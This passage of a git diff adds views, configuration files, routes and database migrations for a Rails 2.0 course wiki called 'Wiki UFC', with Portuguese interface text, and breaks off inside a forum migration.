b/app/views/widgets/shoutbox.html.erb @@ -0,0 +1,44 @@ +<% receiver = @user ? @user : @course %> + + + + diff --git a/app/views/wiki/_form.html.haml b/app/views/wiki/_form.html.haml new file mode 100644 index 0000000..4ed51dc --- /dev/null +++ b/app/views/wiki/_form.html.haml @@ -0,0 +1,15 @@ += error_messages_for 'wiki_page' + +%dl + %dt + %label{:for => 'wiki_page_title'} Título + %dd= text_field 'wiki_page', 'title' + + %dt + %label{:for =>'wiki_page_content'} Conteúdo + %dd= preserve(text_area('wiki_page', 'content')) + + - unless @wiki_page.new_record? + %dt + %label{:for => 'wiki_page_description'} Descrição das alterações + %dd= text_field('wiki_page', 'description', { :size => '80' }) diff --git a/app/views/wiki/_history.html.haml b/app/views/wiki/_history.html.haml new file mode 100644 index 0000000..ba4a61e --- /dev/null +++ b/app/views/wiki/_history.html.haml @@ -0,0 +1,6 @@ += action_icon('undo', "Reverter", edit_course_wiki_url(@course, @wiki_page, :description => "Revertendo para versão #{page.version}", :version => page.version)) + " " += link_to page.updated_at.strftime("%d/%m/%y %H:%M:%S"), course_wiki_url(@course, @wiki_page, :version => page.version) += "por #{link_to h(page.user.display_name), user_path(page.user)}" if page.respond_to?(:user) and !page.user.nil? + +- if page.description and !page.description.empty? + = "(#{h(page.description)})" diff --git a/app/views/wiki/diff.html.haml b/app/views/wiki/diff.html.haml new file mode 100644 index 0000000..fa15819 --- /dev/null +++ b/app/views/wiki/diff.html.haml @@ -0,0 +1,11 @@ +%h4.title= h(@course.full_name) +%h1.title= h(@wiki_page.title) + +%p + Comparando versões: + %ul + %li= render :partial => 'wiki/history', :locals => { :page => @to } + %li= render :partial => 'wiki/history', :locals => { :page => @from } + + = link_to "Comparar outras versões", versions_course_wiki_url(@course, @wiki_page, :from => @from.version, :to => @to.version) + = format_diff h(@diff) diff --git a/app/views/wiki/edit.html.haml b/app/views/wiki/edit.html.haml new file mode 100644 index 0000000..f74f06f --- /dev/null +++ b/app/views/wiki/edit.html.haml @@ -0,0 +1,14 @@ += javascript_include_tag 'wiki' + +%h4.title= h(@course.full_name) +%h1.title= "Editar #{h(@wiki_page.title)}" + +%p + - form_tag course_wiki_url(@course, @wiki_page.id), :method => :put do + = render :partial => 'form' + = submit_tag 'Salvar' + %button#show_preview{:type => "button"} + Visualizar + = image_tag "loading.gif", :class => "spinner_button", :id => "spinner_preview", :style => "display: none" + #wiki_preview{:style => "display: none"} + diff --git a/app/views/wiki/new.html.haml b/app/views/wiki/new.html.haml new file mode 100644 index 0000000..4d826fe --- /dev/null +++ b/app/views/wiki/new.html.haml @@ -0,0 +1,13 @@ += javascript_include_tag 'wiki' + +%h4.title= h(@course.full_name) +%h1.title Adicionar página wiki + +%p + - form_tag course_wiki_url(@course, @wiki_page.id) do + = render :partial => 'form' + = submit_tag "Criar" + %button#show_preview{:type => "button"} + Visualizar + = image_tag "loading.gif", :class => "spinner_button", :id => "spinner_preview", :style => "display: none" + #wiki_preview{:style => "display: none"} diff --git a/app/views/wiki/show.html.haml b/app/views/wiki/show.html.haml new file mode 100644 index 0000000..15afdd8 --- /dev/null +++ b/app/views/wiki/show.html.haml @@ -0,0 +1,16 @@ += javascript_include_tag 'wiki' + +.cmd + = action_icon 'edit', 'Editar', edit_course_wiki_url + = action_icon 'undo', 'Historico', versions_course_wiki_url + = action_icon 'trash', 'Excluir página wiki', course_wiki_url, :confirm => 'Tem certeza que deseja excluir?', :method => :delete + +- cache(:action => 'show', :short_name => h(@course.short_name), :title => h(@wiki_page.title) ) do + + %h4.title= h(@course.full_name) + %h1.title= h(@wiki_page.title) + #wiki_text + = @wiki_page.to_html + +%script{:language => 'javascript'} + == enumerate_headers(); diff --git a/app/views/wiki/versions.html.haml b/app/views/wiki/versions.html.haml new file mode 100644 index 0000000..6c6ad15 --- /dev/null +++ b/app/views/wiki/versions.html.haml @@ -0,0 +1,34 @@ +%h4.title= h(@course.full_name) +%h1.title= "Histórico de #{h(@wiki_page.title)}" +%br + += javascript_include_tag "history" + +%script{:language => 'javascript'} + == radios_to = #{h(@history_to)}; + == radios_from = #{h(@history_from)}; + +- form_tag diff_course_wiki_url(@course, @wiki_page), :method => :get do + %button{:type => "submit"}= "Comparar as versões selecionadas" + %table.log + %tr + %th.narrow   + %th.narrow   + %th Data + %th Usuário + %th Descrição + - @wiki_page.versions.reverse.each do |entry| + %tr + %td.narrow + %input{:type => "radio", :name => "from", :value => entry.version, :onclick => "history_from(#{entry.version})"} + %td.narrow + %input{:type => "radio", :name => "to", :value => entry.version, :onclick => %"history_to(#{entry.version})"} + %td= link_to(entry.updated_at.strftime("%d/%m/%y %H:%M:%S"), course_wiki_url(@course, @wiki_page, :version => entry.version)) + %td= link_to truncate(h(entry.user.display_name), 20), user_path(entry.user) + %td + = entry.description + - if (entry.version > @wiki_page.versions.minimum(:version)) + = "(" + link_to("diff", diff_course_wiki_url(@course, @wiki_page, :from => entry.version - 1, :to => entry.version)) + ")" + = "(" + link_to("edit", edit_course_wiki_url(@course, @wiki_page, :description => "Revertendo para versão #{entry.version}", :version => entry.version)) + ")" + +/= will_paginate @versions diff --git a/app/views/wiki/versions.xml.builder b/app/views/wiki/versions.xml.builder new file mode 100644 index 0000000..f528c05 --- /dev/null +++ b/app/views/wiki/versions.xml.builder @@ -0,0 +1,15 @@ +xml.instruct! :xml, :version=>"1.0" +xml.versions do + xml.count @wiki_page.versions.count + xml.offset @offset + @wiki_page.versions[(@offset.to_i)..(@offset.to_i+30)].reverse.each do |version| + xml.version do + xml.created_at version.created_at + xml.updated_at version.updated_at + xml.description version.description + xml.title version.title + xml.user_id version.user_id + xml.version version.version + end + end +end diff --git a/config/application.rb b/config/application.rb new file mode 100644 index 0000000..ce9b04c --- /dev/null +++ b/config/application.rb @@ -0,0 +1,49 @@ +# Geral +App.language = "pt-br" +App.title = "Wiki UFC" + +# Limites +App.max_upload_file_size = 5.megabytes + +# Forum +App.forum_uri = "http://127.0.0.1:3001/" + +# Tema +App.default_color = 6 +App.default_avatar = "http://engsoft.isoron.org/images/avatar.png" +App.color_schemes = [ + # Default + [ "#000", "#069", "#455", "#455" ], + + # Aqua + [ "#7b7", "#455", "#899", "#abb" ], + [ "#005B9A", "#455", "#899", "#abb" ], + [ "#8D009A", "#455", "#899", "#abb" ], + [ "#9A000D", "#455", "#899", "#abb" ], + [ "#5A9A00", "#455", "#899", "#abb" ], + + # Mono + [ "#037", "#069", "#455", "#778" ], + [ "#900", "#c00", "#444", "#888" ], + + # Complementar + [ "#037", "#c60", "#457", "#568" ], + [ "#070", "#c00", "#474", "#585" ], + + # Pink + [ "#d18", "#d18", "#457", "#668" ], + [ "#609", "#455", "#547", "#658" ], + + # Sand + [ "#900", "#663", "#888", "#cc9" ], + [ "#036", "#663", "#888", "#cc9" ], + [ "#680", "#663", "#888", "#cc9" ], + + # Original + [ "#000", "#690", "#444", "#666" ] +] + + +# Templates +App.inital_wiki_pages = ['Ementa', 'Notas de Aula'] +App.initial_wiki_page_content = "Página em branco." diff --git a/config/asset_packages.yml b/config/asset_packages.yml new file mode 100644 index 0000000..6163764 --- /dev/null +++ b/config/asset_packages.yml @@ -0,0 +1,9 @@ +--- +javascripts: +- base: + - lib/prototype + - lib/effects + - lib/controls + - lib/dragdrop + - lib/event-selectors + - application diff --git a/config/boot.rb b/config/boot.rb new file mode 100644 index 0000000..fc83723 --- /dev/null +++ b/config/boot.rb @@ -0,0 +1,108 @@ +# Don't change this file! +# Configure your app in config/environment.rb and config/environments/*.rb + +RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT) + +module Rails + class << self + def boot! + unless booted? + preinitialize + pick_boot.run + end + end + + def booted? + defined? Rails::Initializer + end + + def pick_boot + (vendor_rails? ? VendorBoot : GemBoot).new + end + + def vendor_rails? + File.exist?("#{RAILS_ROOT}/vendor/rails") + end + + def preinitialize + load(preinitializer_path) if File.exist?(preinitializer_path) + end + + def preinitializer_path + "#{RAILS_ROOT}/config/preinitializer.rb" + end + end + + class Boot + def run + load_initializer + Rails::Initializer.run(:set_load_path) + end + end + + class VendorBoot < Boot + def load_initializer + require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer" + end + end + + class GemBoot < Boot + def load_initializer + self.class.load_rubygems + load_rails_gem + require 'initializer' + end + + def load_rails_gem + if version = self.class.gem_version + gem 'rails', version + else + gem 'rails' + end + rescue Gem::LoadError => load_error + $stderr.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.) + exit 1 + end + + class << self + def rubygems_version + Gem::RubyGemsVersion if defined? Gem::RubyGemsVersion + end + + def gem_version + if defined? RAILS_GEM_VERSION + RAILS_GEM_VERSION + elsif ENV.include?('RAILS_GEM_VERSION') + ENV['RAILS_GEM_VERSION'] + else + parse_gem_version(read_environment_rb) + end + end + + def load_rubygems + require 'rubygems' + + unless rubygems_version >= '0.9.4' + $stderr.puts %(Rails requires RubyGems >= 0.9.4 (you have #{rubygems_version}). Please `gem update --system` and try again.) + exit 1 + end + + rescue LoadError + $stderr.puts %(Rails requires RubyGems >= 0.9.4. Please install RubyGems and try again: http://rubygems.rubyforge.org) + exit 1 + end + + def parse_gem_version(text) + $1 if text =~ /^[^#]*RAILS_GEM_VERSION\s*=\s*["']([!~<>=]*\s*[\d.]+)["']/ + end + + private + def read_environment_rb + File.read("#{RAILS_ROOT}/config/environment.rb") + end + end + end +end + +# All that for this: +Rails.boot! diff --git a/config/database.yml.example b/config/database.yml.example new file mode 100644 index 0000000..04879a7 --- /dev/null +++ b/config/database.yml.example @@ -0,0 +1,36 @@ +# MySQL (default setup). Versions 4.1 and 5.0 are recommended. +# +# Install the MySQL driver: +# gem install mysql +# On MacOS X: +# gem install mysql -- --include=/usr/local/lib +# On Windows: +# There is no gem for Windows. Install mysql.so from RubyForApache. +# http://rubyforge.org/projects/rubyforapache +# +# And be sure to use new-style passaword hashing: +# http://dev.mysql.com/doc/refman/5.0/en/old-client.html + +development: + adapter: mysql + database: engsoft_development + username: root + password: + host: localhost + +# Warning: The database defined as 'test' will be erased and +# re-generated from your development database when you run 'rake'. +# Do not set this db to the same as development or production. +test: + adapter: mysql + database: engsoft_test + username: root + password: + host: localhost + +production: + adapter: mysql + database: engsoft_production + username: root + password: + host: localhost diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 0000000..c28f732 --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,59 @@ +# Be sure to restart your server when you modify this file + +# Uncomment below to force Rails into production mode when +# you don't control web/app server and can't set it the proper way +# ENV['RAILS_ENV'] ||= 'production' + +# Specifies gem version of Rails to use when vendor/rails is not present +RAILS_GEM_VERSION = '2.0.2' unless defined? RAILS_GEM_VERSION + +# Bootstrap the Rails environment, frameworks, and default configuration +require File.join(File.dirname(__FILE__), 'boot') + +Rails::Initializer.run do |config| + # Settings in config/environments/* take precedence over those specified here. + # Application configuration should go into files in config/initializers + # -- all .rb files in that directory are automatically loaded. + # See Rails::Configuration for more options. + + # Skip frameworks you're not going to use (only works if using vendor/rails). + # To use Rails without a database, you must remove the Active Record framework + # config.frameworks -= [ :active_record, :active_resource, :action_mailer ] + + # Only load the plugins named here, in the order given. By default, all plugins + # in vendor/plugins are loaded in alphabetical order. + # :all can be used as a placeholder for all plugins not explicitly named + # config.plugins = [ :exception_notification, :ssl_requirement, :all ] + + # Add additional load paths for your own custom dirs + # config.load_paths += %W( #{RAILS_ROOT}/extras ) + + # Force all environments to use the same logger level + # (by default production uses :info, the others :debug) + # config.log_level = :debug + + # Your secret key for verifying cookie session data integrity. + # If you change this key, all old sessions will become invalid! + # Make sure the secret is at least 30 characters and all random, + # no regular words or you'll be exposed to dictionary attacks. + config.action_controller.session = { + :session_key => '_wikiufc_session_id', + :secret => '9194c999d4c15148e1fe79e5afe2b77f9f0878f8f8391b72ff62d2ee7243d21d809096b5171be863f56701aa21efbc487d725b3660e86d0022968c19797f6f75' + } + + # Use the database for sessions instead of the cookie-based default, + # which shouldn't be used to store highly confidential information + # (create the session table with 'rake db:sessions:create') + config.action_controller.session_store = :active_record_store + + # Use SQL instead of Active Record's schema dumper when creating the test database. + # This is necessary if your schema can't be completely dumped by the schema dumper, + # like if you have constraints or database-specific column types + # config.active_record.schema_format = :sql + + # Activate observers that should always be running + # config.active_record.observers = :cacher, :garbage_collector + + # Make Active Record use UTC-base instead of local time + config.active_record.default_timezone = :utc +end diff --git a/config/environments/development.rb b/config/environments/development.rb new file mode 100644 index 0000000..826269d --- /dev/null +++ b/config/environments/development.rb @@ -0,0 +1,21 @@ +# Settings specified here will take precedence over those in config/environment.rb + +# In the development environment your application's code is reloaded on +# every request. This slows down response time but is perfect for development +# since you don't have to restart the webserver when you make code changes. +config.cache_classes = false + +# Log error messages when you accidentally call methods on nil. +config.whiny_nils = true + +# Enable the breakpoint server that script/breakpointer connects to +# config.breakpoint_server = true + +# Show full error reports and disable caching +config.action_controller.consider_all_requests_local = true +config.action_controller.perform_caching = false +config.action_view.cache_template_extensions = false +config.action_view.debug_rjs = true + +# Don't care if the mailer can't send +config.action_mailer.raise_delivery_errors = false diff --git a/config/environments/production.rb b/config/environments/production.rb new file mode 100644 index 0000000..1e43a19 --- /dev/null +++ b/config/environments/production.rb @@ -0,0 +1,18 @@ +# Settings specified here will take precedence over those in config/environment.rb + +# The production environment is meant for finished, "live" apps. +# Code is not reloaded between requests +config.cache_classes = true + +# Use a different logger for distributed setups +# config.logger = SyslogLogger.new + +# Full error reports are disabled and caching is turned on +config.action_controller.consider_all_requests_local = false +config.action_controller.perform_caching = false + +# Enable serving of images, stylesheets, and javascripts from an asset server +# config.action_controller.asset_host = "http://assets.example.com" + +# Disable delivery errors if you bad email addresses should just be ignored +# config.action_mailer.raise_delivery_errors = false diff --git a/config/environments/test.rb b/config/environments/test.rb new file mode 100644 index 0000000..a0db99c --- /dev/null +++ b/config/environments/test.rb @@ -0,0 +1,22 @@ +# Settings specified here will take precedence over those in config/environment.rb + +# The test environment is used exclusively to run your application's +# test suite. You never need to work with it otherwise. Remember that +# your test database is "scratch space" for the test suite and is wiped +# and recreated between test runs. Don't rely on the data there! +config.cache_classes = true + +# Log error messages when you accidentally call methods on nil. +config.whiny_nils = true + +# Show full error reports and disable caching +config.action_controller.consider_all_requests_local = true +config.action_controller.perform_caching = false + +# Tell ActionMailer not to deliver emails to the real world. +# The :test delivery method accumulates sent emails in the +# ActionMailer::Base.deliveries array. +config.action_mailer.delivery_method = :test + +# Disable request forgery protection in test environment +config.action_controller.allow_forgery_protection = false diff --git a/config/initializers/load_app_config.rb b/config/initializers/load_app_config.rb new file mode 100644 index 0000000..5e82e8d --- /dev/null +++ b/config/initializers/load_app_config.rb @@ -0,0 +1,22 @@ +require 'ostruct' +::App = OpenStruct.new + +# Define os campos essenciais +required_fields = %w( + title + language + max_upload_file_size + default_color + forum_uri +) + +# Carrega as configuracoes personalizadas +require "#{RAILS_ROOT}/config/application.rb" + +# Verifica se todas os campos essenciais foram instanciados +required_fields.each do |field| + raise "Required configuration not found: App.#{field}" unless App.respond_to?(field) +end + +# Internacionalizacao +Gibberish.current_language = App.language if RAILS_ENV != 'test' diff --git a/config/initializers/load_gems.rb b/config/initializers/load_gems.rb new file mode 100644 index 0000000..bd55f4c --- /dev/null +++ b/config/initializers/load_gems.rb @@ -0,0 +1,4 @@ +require 'hpricot' +require 'icalendar' +require 'tzinfo' +require 'assert_valid_xhtml' diff --git a/config/initializers/localization.rb b/config/initializers/localization.rb new file mode 100644 index 0000000..d6985d8 --- /dev/null +++ b/config/initializers/localization.rb @@ -0,0 +1,21 @@ +TzTime.zone = TZInfo::Timezone.new("America/Fortaleza") + +class Time + alias :strftime_nolocale :strftime + + def strftime(format) + format = format.dup + format.gsub!(/%a/, Date::ABBR_DAYNAMES[self.wday]) + format.gsub!(/%A/, Date::DAYNAMES[self.wday]) + format.gsub!(/%b/, Date::ABBR_MONTHNAMES[self.mon]) + format.gsub!(/%B/, Date::MONTHNAMES[self.mon]) + self.strftime_nolocale(format) + end +end + + +ActiveSupport::CoreExtensions::Time::Conversions::DATE_FORMATS.merge!( + :default => '%d/%m/%Y %H:%M', + :date_time12 => "%d/%m/%Y %I:%M%p", + :date_time24 => "%d/%m/%Y %H:%M" +) diff --git a/config/initializers/nasty_hacks.rb b/config/initializers/nasty_hacks.rb new file mode 100644 index 0000000..f9e82a7 --- /dev/null +++ b/config/initializers/nasty_hacks.rb @@ -0,0 +1,10 @@ +# Carrega as classes Message e LogEntry. O lazy loading do Rails gera +# problemas se voce definir varias classes por arquivos. +require "app/models/message.rb" +require "app/models/log_entry.rb" + +class String + def is_numeric? + Float self rescue false + end +end diff --git a/config/languages/es.yml b/config/languages/es.yml new file mode 100644 index 0000000..3926dff --- /dev/null +++ b/config/languages/es.yml @@ -0,0 +1 @@ +"Hello %%, nice to meet you!": "¡Ola %%, encantado de conocerlo!" \ No newline at end of file diff --git a/config/languages/pt_BR.yml b/config/languages/pt_BR.yml new file mode 100644 index 0000000..d5bf264 --- /dev/null +++ b/config/languages/pt_BR.yml @@ -0,0 +1 @@ +"Hello %%, nice to meet you!": "Ola %%, prazer em conhecê-lo!" \ No newline at end of file diff --git a/config/routes.rb b/config/routes.rb new file mode 100644 index 0000000..b7be8a8 --- /dev/null +++ b/config/routes.rb @@ -0,0 +1,81 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +ActionController::Routing::Routes.draw do |map| + + # Resources + map.resources :users + map.resources(:courses, + :member => { + :enroll => :get, + :unenroll => :get + } + ) do |course| + + course.resources :events, + :member => { + :undelete => :post + } + + course.resources :news, + :member => { + :undelete => :post + } + + course.resources :wiki, + :member => { + :diff => :get, + :versions => :get, + :move_up => :get, + :move_down => :get, + :undelete => :post + } + + course.resources :attachments, + :member => { + :download => :get, + :undelete => :post + } + end + + # Log + map.with_options :controller => 'log' do |log| + log.course_log 'courses/:course_id/log', :action => 'index', :format => 'html' + log.undo_course_log 'courses/:course_id/log/:id/undo', :action => 'undo', :format => 'html' + + log.formatted_course_log 'courses/:course_id/log.:format', :action => 'index' + end + + # Wiki pages + map.preview 'services/preview', :controller => 'wiki', :action => 'preview' + + # Widgets + map.connect 'widgets/calendar/:id/:year/:month', :controller => 'events', :action => 'mini_calendar' + + # Login, logout, signup, etc + map.with_options :controller => 'users' do |user| + user.login 'login', :action => 'login' + user.logout 'logout', :action => 'logout' + user.signup 'signup', :action => 'signup' + user.settings 'settings', :action => 'settings' + end + + # Pagina pessoal + map.dashboard '/dashboard', :controller => 'users', :action => 'dashboard' + + # Stylesheets + map.connect 'stylesheets/themes/:action.:color.:format', :controller => 'stylesheets' + + # Front page + map.connect '', :controller => 'courses', :action => 'index' +end diff --git a/db/migrate/001_create_attachments.rb b/db/migrate/001_create_attachments.rb new file mode 100644 index 0000000..16a0f00 --- /dev/null +++ b/db/migrate/001_create_attachments.rb @@ -0,0 +1,15 @@ +class CreateAttachments < ActiveRecord::Migration + def self.up + create_table :attachments do |t| + t.column :file_name, :string + t.column :content_type, :string + t.column :last_modified, :datetime + t.column :description, :text + t.column :size, :int + end + end + + def self.down + drop_table :attachments + end +end diff --git a/db/migrate/002_create_professors_and_courses.rb b/db/migrate/002_create_professors_and_courses.rb new file mode 100644 index 0000000..873b604 --- /dev/null +++ b/db/migrate/002_create_professors_and_courses.rb @@ -0,0 +1,32 @@ +class CreateProfessorsAndCourses < ActiveRecord::Migration + def self.up + + # Tabela de professores + create_table :professors do |t| + t.column :name, :string, :null => false + end + + # Tabela de disciplinas + create_table :courses do |t| + t.column :short_name, :string, :null => false + t.column :full_name, :string, :null => false + t.column :description, :text, :null => false + end + + # Relacionamento + create_table :courses_professors, :id => false do |t| + t.column :professor_id, :integer + t.column :course_id, :integer + end + + # Adiciona o campo disciplina aos objetos do repositorio + add_column :attachments, :course_id, :integer + end + + def self.down + drop_table :professors + drop_table :courses + drop_table :courses_professors + remove_column :attachments, :course_id + end +end diff --git a/db/migrate/003_create_messages.rb b/db/migrate/003_create_messages.rb new file mode 100644 index 0000000..84d4e24 --- /dev/null +++ b/db/migrate/003_create_messages.rb @@ -0,0 +1,16 @@ +class CreateMessages < ActiveRecord::Migration + def self.up + create_table :messages do |t| + t.column :title, :string + t.column :body, :text, :null => false + t.column :timestamp, :timestamp, :null => false + t.column :message_type, :int, :null => false + #t.column :sender_id, :int, :null => false + t.column :receiver_id, :int + end + end + + def self.down + drop_table :messages + end +end diff --git a/db/migrate/004_create_wiki.rb b/db/migrate/004_create_wiki.rb new file mode 100644 index 0000000..41cc02b --- /dev/null +++ b/db/migrate/004_create_wiki.rb @@ -0,0 +1,21 @@ +class CreateWiki < ActiveRecord::Migration + def self.up + create_table :wiki_pages do |t| + t.column :course_id, :int + t.column :title, :string, :null => false + end + + create_table :wiki_versions do |t| + t.column :cache_html, :text + t.column :content, :text, :null => false + t.column :created_on, :timestamp, :null => false + t.column :user_id, :int + t.column :wiki_page_id, :int + end + end + + def self.down + drop_table :wiki_pages + drop_table :wiki_versions + end +end diff --git a/db/migrate/005_create_events.rb b/db/migrate/005_create_events.rb new file mode 100644 index 0000000..f6337ed --- /dev/null +++ b/db/migrate/005_create_events.rb @@ -0,0 +1,16 @@ +class CreateEvents < ActiveRecord::Migration + def self.up + create_table :events do |t| + t.column :title, :string, :null => false + t.column :date, :date, :null => false + t.column :time, :time, :null => false + t.column :created_by, :integer, :null => false + t.column :course_id, :integer, :null => false, :default => 0 + t.column :description, :text + end + end + + def self.down + drop_table :events + end +end diff --git a/db/migrate/006_sample_course.rb b/db/migrate/006_sample_course.rb new file mode 100644 index 0000000..ce553d1 --- /dev/null +++ b/db/migrate/006_sample_course.rb @@ -0,0 +1,31 @@ +class SampleCourse < ActiveRecord::Migration + def self.up + + # Cria um novo curso + c = Course.new + c.full_name = c.short_name = "Métodos Numéricos II" + c.description = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit." + + "Etiam eu quam pharetra tellus scelerisque vehicula. Donec non sem. In hac habitasse" + + "platea dictumst. Integer dictum leo eget sem. Vestibulum feugiat ligula vel massa." + + "Praesent mattis. Etiam neque lorem, tincidunt eget, interdum in, malesuada et, velit." + + "Integer sapien mi, consequat vel, tempus sed, vehicula sit amet, quam." + c.save + + # Cria duas paginas wiki + wp_ementa = WikiPage.new(:title => "Ementa") + wp_notas = WikiPage.new(:title => "Notas de Aula") + + c.wiki_pages << wp_ementa + c.wiki_pages << wp_notas + + # Cria uma versao para cada pagina do wiki + wv_ementa = WikiVersion.new(:content => "Blank page") + wv_notas = WikiVersion.new(:content => "Blank page") + + wp_ementa.wiki_versions << wv_ementa + wp_notas.wiki_versions << wv_notas + end + + def self.down + end +end diff --git a/db/migrate/007_create_users.rb b/db/migrate/007_create_users.rb new file mode 100644 index 0000000..c035f1d --- /dev/null +++ b/db/migrate/007_create_users.rb @@ -0,0 +1,15 @@ +class CreateUsers < ActiveRecord::Migration + def self.up + create_table :users do |t| + t.column :login, :string + t.column :hashed_password, :string + t.column :email, :string + t.column :salt, :string + t.column :created_at, :datetime + end + end + + def self.down + drop_table :users + end +end diff --git a/db/migrate/008_diff.rb b/db/migrate/008_diff.rb new file mode 100644 index 0000000..5805aa4 --- /dev/null +++ b/db/migrate/008_diff.rb @@ -0,0 +1,15 @@ +class Diff < ActiveRecord::Migration + def self.up + add_column :wiki_versions, :root, :boolean, :default => true, :null => false + add_column :wiki_pages, :diff_countdown, :integer, :default => 0, :null => false + + WikiVersion.find(:all).each do |version| + version.update_attribute(:root, false) if version.cache_html == nil + end + end + + def self.down + remove_column :wiki_versions, :root + remove_column :wiki_pages, :diff_countdown + end +end diff --git a/db/migrate/009_cache.rb b/db/migrate/009_cache.rb new file mode 100644 index 0000000..c31cdb6 --- /dev/null +++ b/db/migrate/009_cache.rb @@ -0,0 +1,10 @@ +class Cache < ActiveRecord::Migration + # Remove a coluna de cache + def self.up + remove_column :wiki_versions, "cache_html" + end + + def self.down + add_column :wiki_versions, "cache_html", :text + end +end diff --git a/db/migrate/010_message_sender.rb b/db/migrate/010_message_sender.rb new file mode 100644 index 0000000..e8f5a0a --- /dev/null +++ b/db/migrate/010_message_sender.rb @@ -0,0 +1,24 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class MessageSender < ActiveRecord::Migration + def self.up + add_column :messages, :sender_id, :int, :null => false + add_column :users, :name, :string, :null => false, :default => '' + end + + def self.down + remove_column :messages, :sender_id + remove_column :users, :name + end +end diff --git a/db/migrate/011_unique_short_name.rb b/db/migrate/011_unique_short_name.rb new file mode 100644 index 0000000..71a3faa --- /dev/null +++ b/db/migrate/011_unique_short_name.rb @@ -0,0 +1,22 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class UniqueShortName < ActiveRecord::Migration + def self.up + add_index :courses, :short_name, :unique => true + end + + def self.down + remove_index :courses, :short_name + end +end diff --git a/db/migrate/012_link_user_course.rb b/db/migrate/012_link_user_course.rb new file mode 100644 index 0000000..c8214e1 --- /dev/null +++ b/db/migrate/012_link_user_course.rb @@ -0,0 +1,13 @@ +class LinkUserCourse < ActiveRecord::Migration + def self.up + # Relacionamento + create_table :courses_users, :id => false do |t| + t.column :user_id, :integer + t.column :course_id, :integer + end + end + + def self.down + drop_table :courses_users + end +end diff --git a/db/migrate/013_add_pref_color.rb b/db/migrate/013_add_pref_color.rb new file mode 100644 index 0000000..39439f9 --- /dev/null +++ b/db/migrate/013_add_pref_color.rb @@ -0,0 +1,9 @@ +class AddPrefColor < ActiveRecord::Migration + def self.up + add_column :users, :pref_color, :integer + end + + def self.down + remove_column :users, :pref_color + end +end diff --git a/db/migrate/014_default_pref_color.rb b/db/migrate/014_default_pref_color.rb new file mode 100644 index 0000000..a3c0a99 --- /dev/null +++ b/db/migrate/014_default_pref_color.rb @@ -0,0 +1,9 @@ +class DefaultPrefColor < ActiveRecord::Migration + def self.up + change_column :users, :pref_color, :integer, :default => 6 + end + + def self.down + change_column :users, :pref_color, :integer + end +end diff --git a/db/migrate/015_add_wiki_version_description.rb b/db/migrate/015_add_wiki_version_description.rb new file mode 100644 index 0000000..a3d1c78 --- /dev/null +++ b/db/migrate/015_add_wiki_version_description.rb @@ -0,0 +1,9 @@ +class AddWikiVersionDescription < ActiveRecord::Migration + def self.up + add_column :wiki_versions, :description, :text + end + + def self.down + remove_column :wiki_versions, :description + end +end diff --git a/db/migrate/016_create_sessions.rb b/db/migrate/016_create_sessions.rb new file mode 100644 index 0000000..4ccc353 --- /dev/null +++ b/db/migrate/016_create_sessions.rb @@ -0,0 +1,16 @@ +class CreateSessions < ActiveRecord::Migration + def self.up + create_table :sessions do |t| + t.string :session_id, :null => false + t.text :data + t.timestamps + end + + add_index :sessions, :session_id + add_index :sessions, :updated_at + end + + def self.down + drop_table :sessions + end +end diff --git a/db/migrate/017_create_forum.rb b/db/migrate/017_create_forum.rb new file mode 100644 index 0000000..653d1e3 --- /dev/null +++ b/db/migrate/017_create_forum.rb @@ -0,0 +1,145 @@ +class CreateForum < ActiveRecord::Migration + def self.up + create_table "forum_forums", :force => true do |t| + t.string "name" + t.string "description" + t.integer "topics_count", :default => 0 + t.integer "posts_count", :default => 0 + t.integer "position" + t.text "description_html" + end + + create_table "forum_logged_exceptions", :force => true do |t| + t.string "exception_class" + t.string "controller_name" + t.string "action_name" + t.string "message" + t.text "backtrace" + t.text "environment" + t.text "request" + t.datetime "created_at" + end + + create_table "forum_moderatorships", :force => true do |t| + t.integer "forum_id" + t.integer "user_id" + end + + add_index "forum_moderatorships", ["forum_id"], :name => "index_moderatorships_on_forum_id" + + create_table "forum_monitorships", :force => true do |t| + t.integer "topic_id" + t.integer "user_id" + t.boolean "active", :default => true + end + + create_table "forum_open_id_authentication_associations", :force => true do |t| + t.binary "server_url" + t.string "handle" + t.binary "secret" + t.integer "issued" + t.integer "lifetime" + t.string "assoc_type" + end + + create_table "forum_open_id_authentication_nonces", :force => true do |t| + t.string "nonce" + t.integer "created" + end + + create_table "forum_open_id_authentication_settings", :force => true do |t| + t.string "setting" + t.binary "value" + end + + create_table "forum_posts", :force => true do |t| + t.integer "user_id" + t.integer "topic_id" + t.text "body" + t.datetime "created_at" + t.datetime "updated_at" + t.integer "forum_id" + t.text "body_html" + end + + add_index "forum_posts", ["topic_id", "created_at"], :name => "index_posts_on_topic_id" + add_index "forum_posts", ["user_id", "created_at"], :name => "index_posts_on_user_id" + add_index "forum_posts", 